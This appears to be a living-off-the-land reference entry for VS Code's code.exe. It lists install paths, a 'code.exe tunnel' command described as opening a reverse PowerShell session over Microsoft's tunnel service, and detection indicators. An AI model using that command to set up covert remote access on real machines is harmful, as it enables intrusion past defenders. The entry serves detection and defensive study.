code.exe

type: HonorableMentions

VSCode binary, also portable (CLI) version

Full path

C:\Users\<username>\AppData\Local\Programs\Microsoft VS Code\Code.exe
C:\Program Files\Microsoft VS Code\Code.exe
C:\Program Files (x86)\Microsoft VS Code\Code.exe

Commands

ExecuteUser T1219.001
Reverse PowerShell session over MS provided infrastructure.
```
code.exe tunnel --accept-server-license-terms --name "tunnel-name"
```
Starts a reverse PowerShell connection over global.rel.tunnels.api.visualstudio.com via websockets; command
os: Windows 10, Windows 11

Detection

IOCWebsocket traffic to global.rel.tunnels.api.visualstudio.com
IOCProcess tree: code.exe -> cmd.exe -> node.exe -> winpty-agent.exe
IOCFile write of code_tunnel.json which is parametizable, but defaults to: %UserProfile%\.vscode-cli\code_tunnel.json

Resources